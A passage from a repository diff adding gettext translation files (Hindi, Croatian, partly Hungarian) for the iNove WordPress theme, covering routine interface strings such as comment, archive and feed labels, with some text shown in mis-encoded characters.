कसà¥à¤Ÿà¤®à¤¾à¤‡à¤œ पनà¥à¤¨à¥‡ पर आपका सà¥à¤µà¤¾à¤—त है. आप यहाठइसलिठपहूà¤à¤šà¥‡ है कà¥à¤¯à¥‹à¤•ि आपने जिस कड़ी को कà¥à¤²à¤¿à¤• किया था, वह मौजूद नहीं थी. समà¥à¤­à¤µà¤¤à¤ƒ यह हमारी चà¥à¤• है...परंतॠआपको ततà¥à¤•ाल सामनà¥à¤¯ से \"404 तà¥à¤°à¥à¤Ÿà¤¿\" पनà¥à¤¨à¥‡ पर ले जाने के जहाठकि असमंजस व वासà¥à¤¤à¤µ में कà¥à¤› भी सà¥à¤ªà¤·à¥à¤Ÿ नहीं होता है, हमने यह पनà¥à¤¨à¤¾ बनाया है, जो दरà¥à¤¶à¤¾à¤¤à¤¾ है कि कà¥à¤› गलत हà¥à¤† है. " + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "आप (क) या तो अपने बà¥à¤°à¤¾à¤‰à¤œà¤° के \"बेक\" बटन पर कà¥à¤²à¤¿à¤• कर हमारी साइट पर अलग दिशा से भà¥à¤°à¤®à¤£ करने का पà¥à¤°à¤¯à¤¾à¤¸ करें अथवा (ख) मà¥à¤–à¥à¤¯ पनà¥à¤¨à¥‡ पर जाने के लिठइस कड़ी पर कà¥à¤²à¤¿à¤• करें. " + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "मà¥à¤–à¥à¤¯ पनà¥à¤¨à¥‡ पर वापस »" + +#: archive.php:10 +msgid "Search Results" +msgstr "खोज परिणाम " + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "की-वरà¥à¤¡ : ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "पूरालेख " + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ शà¥à¤°à¥‡à¤£à¥€ के पूरालेख " + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "‘%1$s’ टेगों की पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿà¤¿à¤¯à¤¾à¤ " + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s पूरालेख " + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "लेखक के पूरालेख " + +#: archive.php:37 +msgid "Blog Archives" +msgstr "बà¥à¤²à¥‰à¤— के पूरालेख " + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "समà¥à¤ªà¤¾à¤¦à¤¨ " + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "कोई टिपà¥à¤ªà¤£à¥€ नहीं " + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 टिपà¥à¤ªà¤£à¥€ " + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% टिपà¥à¤ªà¤£à¤¿à¤¯à¤¾à¤ " + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "आगे पà¥à¥‡à¤‚ " + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "कà¥à¤·à¤®à¤¾ करें, आप दà¥à¤µà¤¾à¤°à¤¾ इचà¥à¤›à¤¿à¤¤ पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿà¤¿à¤¯à¤¾à¤ नहीं मिली. " + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "नई पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿà¤¿à¤¯à¤¾à¤ " + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "पूरानी पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿà¤¿à¤¯à¤¾à¤ " + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "टिपà¥à¤ªà¤£à¥€ करें " + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "टिपà¥à¤ªà¤£à¤¿à¤¯à¥‹à¤‚ पर जाà¤à¤‚ " + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "टिपà¥à¤ªà¤£à¤¿à¤¯à¥‹à¤‚ को देखने के लिठअपना कूटशबà¥à¤¦(पासवरà¥à¤¡) डालें. " + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "टिपà¥à¤ªà¤£à¤¿à¤¯à¤¾à¤ " + +#: comments.php:26 +msgid "Trackbacks" +msgstr "टà¥à¤°à¥‡à¤•बैक " + +#: comments.php:34 +msgid "Trackback" +msgstr "टà¥à¤°à¥‡à¤•बेक " + +#: comments.php:58 +msgid "No comments yet." +msgstr "अभी तक कोई टिपà¥à¤ªà¤£à¥€ नहीं. " + +#: comments.php:72 +msgid "Comment pages" +msgstr "टिपà¥à¤ªà¤£à¥€ पनà¥à¤¨à¥‡ " + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%2$s पर %1$s " + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "अभी तक कोई टà¥à¤°à¥‡à¤•बेक नहीं. " + +#: comments.php:123 +msgid "Comments are closed." +msgstr "टिपà¥à¤ªà¤£à¤¿à¤¯à¤¾à¤ बनà¥à¤¦ कर दी गई है. " + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "टिपà¥à¤ªà¤£à¥€ करने के लिठआपको सतà¥à¤°à¤¾à¤°à¤®à¥à¤­ (लॉगइन) करना होगा. " + +#: comments.php:150 +msgid "Logged in as" +msgstr "लॉगिन सà¥à¤µà¤°à¥‚प " + +#: comments.php:151 +msgid "Log out of this account" +msgstr "इस खाते से सतà¥à¤°à¤¾à¤‚त (लॉगआउट) करें " + +#: comments.php:151 +msgid "Logout »" +msgstr "लॉगआउट »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "%s आपका फिर से सà¥à¤µà¤¾à¤—त है. " + +#: comments.php:158 +msgid "Change »" +msgstr "Change »" + +#: comments.php:159 +msgid "Close »" +msgstr "बनà¥à¤¦ करें »" + +#: comments.php:166 +msgid "Name" +msgstr "नाम " + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(आवशà¥à¤¯à¤•) " + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "ई-मेल (पà¥à¤°à¤•ाशित नहीं होगा) " + +#: comments.php:174 +msgid "Website" +msgstr "वेबसाइट " + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "टिपà¥à¤ªà¤£à¤¿à¤¯à¥‹à¤‚ की फीड को सबसà¥à¤•à¥à¤°à¤¾à¤‡à¤¬ करें " + +#: comments.php:193 +msgid "Submit Comment" +msgstr "टिपà¥à¤ªà¤£à¥€ भेजें " + +#: footer.php:17 +msgid "Top" +msgstr "ऊपर " + +#: footer.php:27 +msgid "Copyright © " +msgstr "सरà¥à¤µà¤¾à¤§à¤¿à¤•ार © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "थीम दà¥à¤µà¤¾à¤°à¤¾: NeoEase. अधिकृत XHTML 1.1 तथा CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "वरà¥à¤¤à¤®à¤¾à¤¨ थीम के विकलà¥à¤ª " + +#: functions.php:194 +msgid "Search" +msgstr "खोजें " + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "गूगल कसà¥à¤Ÿà¤® सरà¥à¤š इंजिन का उपयोग करते हà¥à¤. " + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "खोजें गूगल कसà¥à¤Ÿà¤® सरà¥à¤š इंजिन के सरà¥à¤š बॉकà¥à¤¸ कोडमें, name=\"cx\" तथा value वेलà¥à¤¯à¥‚ यहाठटाइप करें .
    उदाहरण के लिà¤: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "मेनूबार " + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "पनà¥à¤¨à¥‹à¤‚ को मेनू के रूप में दिखाà¤à¤‚ " + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "शà¥à¤°à¥‡à¤£à¤¿à¤¯à¥‹à¤‚ को मेनू के रूप में दिखाà¤à¤‚ " + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "सूचना " + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML सकà¥à¤°à¤¿à¤¯ " + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "यह सूचना पटà¥à¤Ÿà¥€ मà¥à¤–à¥à¤¯ पनà¥à¤¨à¥‡ पर पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿà¤¿à¤¯à¥‹à¤‚ के ऊपर दिखेगी. " + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "कौन देख सकता है? " + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "पंजिकृत पà¥à¤°à¤¯à¥‹à¤•à¥à¤¤à¤¾ (यूजर) " + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "टिपà¥à¤ªà¤£à¥€à¤•रà¥à¤¤à¤¾ " + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "पाठक(विजीटर) " + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "शो-केस " + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "यह शो-केस साइडबार के ऊपर दिखेगी. " + +#: functions.php:329 +msgid "Title:" +msgstr "शीरà¥à¤·à¤•: " + +#: functions.php:345 +msgid "Posts" +msgstr "" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "पोसà¥à¤Ÿ पर शà¥à¤°à¥‡à¤£à¤¿à¤¯à¤¾à¤ दिखाà¤à¤‚. " + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿà¤¿à¤¯à¥‹à¤‚ पर टेग दिखाà¤à¤‚. " + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "फीड " + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "कसà¥à¤Ÿà¤® फीड " + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "फीड ई-मेल करें. " + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "परिवरà¥à¤¤à¤¨ सहेजें " + +#: functions.php:567 +msgid "Reply" +msgstr "उतà¥à¤¤à¤° दें " + +#: functions.php:568 +msgid "Quote" +msgstr "कोट " + +#: functions.php:573 +msgid "Advanced edit" +msgstr "परिषà¥à¤•ृत संपादन " + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "आपकी टिपà¥à¤ªà¤£à¥€ अनà¥à¤®à¥‹à¤¦à¤¨ की पà¥à¤°à¤¤à¤¿à¤•à¥à¤·à¤¾ में है. " + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "कड़ियों का समà¥à¤ªà¤¾à¤¦à¤¨ " + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "बà¥à¤²à¥‰à¤— सबसà¥à¤•à¥à¤°à¤¾à¤‡à¤¬ " + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "सबसà¥à¤•à¥à¤°à¤¾à¤‡à¤¬ दà¥à¤µà¤¾à¤°à¤¾ " + +#: sidebar.php:28 +msgid "Google" +msgstr "गूगल " + +#: sidebar.php:29 +msgid "Youdao" +msgstr "यूडाओ " + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "माइ याहू! " + +#: sidebar.php:33 +msgid "newsgator" +msgstr "नà¥à¤¯à¥‚जगेटर " + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "बà¥à¤²à¥‰à¤—लाइंस " + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "ईमेल दà¥à¤µà¤¾à¤°à¤¾ इस बà¥à¤²à¥‰à¤— को सबसà¥à¤•à¥à¤°à¤¾à¤‡à¤¬ " + +#: sidebar.php:40 +msgid "Email feed" +msgstr "ईमेल फीड " + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "मà¥à¤–à¥à¤¯à¤ªà¤¨à¥à¤¨à¥‡ पर जाà¤à¤‚ " + +#: single.php:7 +msgid "Home" +msgstr "मà¥à¤–पृषà¥à¤Ÿ " + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/hr_HR.mo Binary file web/wp-content/themes/inove/languages/hr_HR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/hr_HR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/hr_HR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Croatian\n" +"X-Poedit-Country: CROATIA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - svi Älanci" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - svi komentari" + +#: 404.php:22 +msgid "Talker" +msgstr "Talker" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Dobro doÅ¡li na stranicu pogreÅ¡ke 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Dobro doÅ¡li na prilagoÄ‘enu stranicu pogreÅ¡ke. Ovu stranicu ste dobili jer ste kliknuli na nepostojeći link. Ovo je vjerojatno naÅ¡a pogreÅ¡ka, ali umjesto da vam prikažemo uobiÄajenu '404 Error' stranicu koja je zbunjujuća i niÅ¡ta ne objaÅ¡njava, izradili smo ovu stranicu koja vam pojaÅ¡njava Å¡to je poÅ¡lo krivo. " + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Možete a) kliknuti na tipku za povratak u vaÅ¡em internetskom pregledniku i pokuÅ¡ati navigaciju siteom u drugome smjeru ili b) kliknuti na sljedeći link koji će vas odvesti na naslovnicu. " + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Povratak na naslovnicu »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Rezultati pretrage" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "KljuÄna rijeÄ: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arhiv" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arhiv kategorije ‘%1$s’ " + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "ÄŒlanci s oznakom ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arhiv za %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j. F Y." + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Arhiv autora" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Arhiv bloga" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Uredi" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Nema komentara" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 komentar" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% komentara" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "ÄŒitaj dalje..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Nažalost, nema Älanaka koji odgovaraju zadanim kriterijima. " + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Noviji Älanci" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Stariji Älanci" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Ostavi komentar" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "Idi na komentare" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Unesite zaporku za pregled komentara." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Komentari" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Povratnice" + +#: comments.php:34 +msgid "Trackback" +msgstr "Povratnica" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Nema komentara." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Stranice s komentarima" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s u %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Nema povratnica." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Komentari zatvoreni." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Morate se prijaviti za komentiranje." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Prijavljeni ste kao" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Odjavi ovaj raÄun." + +#: comments.php:151 +msgid "Logout »" +msgstr "Odjava »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Dobro doÅ¡li, %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Promijeni »" + +#: comments.php:159 +msgid "Close »" +msgstr "Zatvori »" + +#: comments.php:166 +msgid "Name" +msgstr "Ime" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(obvezno)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-mail (ne objavljuje se)" + +#: comments.php:174 +msgid "Website" +msgstr "Web-stranica" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Prijava na feed s komentarima" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Predaj komentar" + +#: footer.php:17 +msgid "Top" +msgstr "Vrh stranice" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "Autor teme NeoEase. Ispravan XHTML 1.1 i CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Opcije trenutne teme" + +#: functions.php:194 +msgid "Search" +msgstr "Pretraga" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Koristi prilagoÄ‘enu Google pretragu." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Pronađite name=\"cx\" u kodu tražilice za Google Custom Search Engine, i upišite vrijednost ovamo.
    Na primjer: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Izbornik" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Prikaži stranice u izborniku." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Prikaži kategorije u izborniku." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Obavijest" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML omogućen" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Ova obavijest bit će prikazana iznad Älanaka na naslovnici." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Tko može pregledavati?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Registrirani korisnici" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Komentatori" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Posjetitelji" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Izdvojeno" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Ova stavka Izdvojeno bit će prikazana na vrhu rubnog traka." + +#: functions.php:329 +msgid "Title:" +msgstr "Naslov:" + +#: functions.php:345 +msgid "Posts" +msgstr "" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Prikaži autora na Älanku." + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Prikaži kategorije na Älanku." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Prikaži oznake na Älanku." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "PrilagoÄ‘eni feed." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Email feed." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Pohrani promjene" + +#: functions.php:567 +msgid "Reply" +msgstr "Odgovori" + +#: functions.php:568 +msgid "Quote" +msgstr "Citiraj" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Napredno ureÄ‘ivanje" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "VaÅ¡ komentar Äeka odobrenje." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Uredi linkove" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Pretplati se na ovaj blog..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Pretplati se pomoću servisa " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Pretplati se na blog putem e-maila..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Email feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Idi na naslovnicu" + +#: single.php:7 +msgid "Home" +msgstr "Naslovnica" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/hu_HU.mo Binary file web/wp-content/themes/inove/languages/hu_HU.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/hu_HU.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/hu_HU.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,569 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 13:46+0900\n" +"PO-Revision-Date: 2009-08-07 14:02+0900\n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - minden bejegyzés" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - minden hozzászólás" + +#: 404.php:22 +msgid "Talker" +msgstr "BeszélÅ‘" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Üdv a 404-es hibalapon!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Üdv a 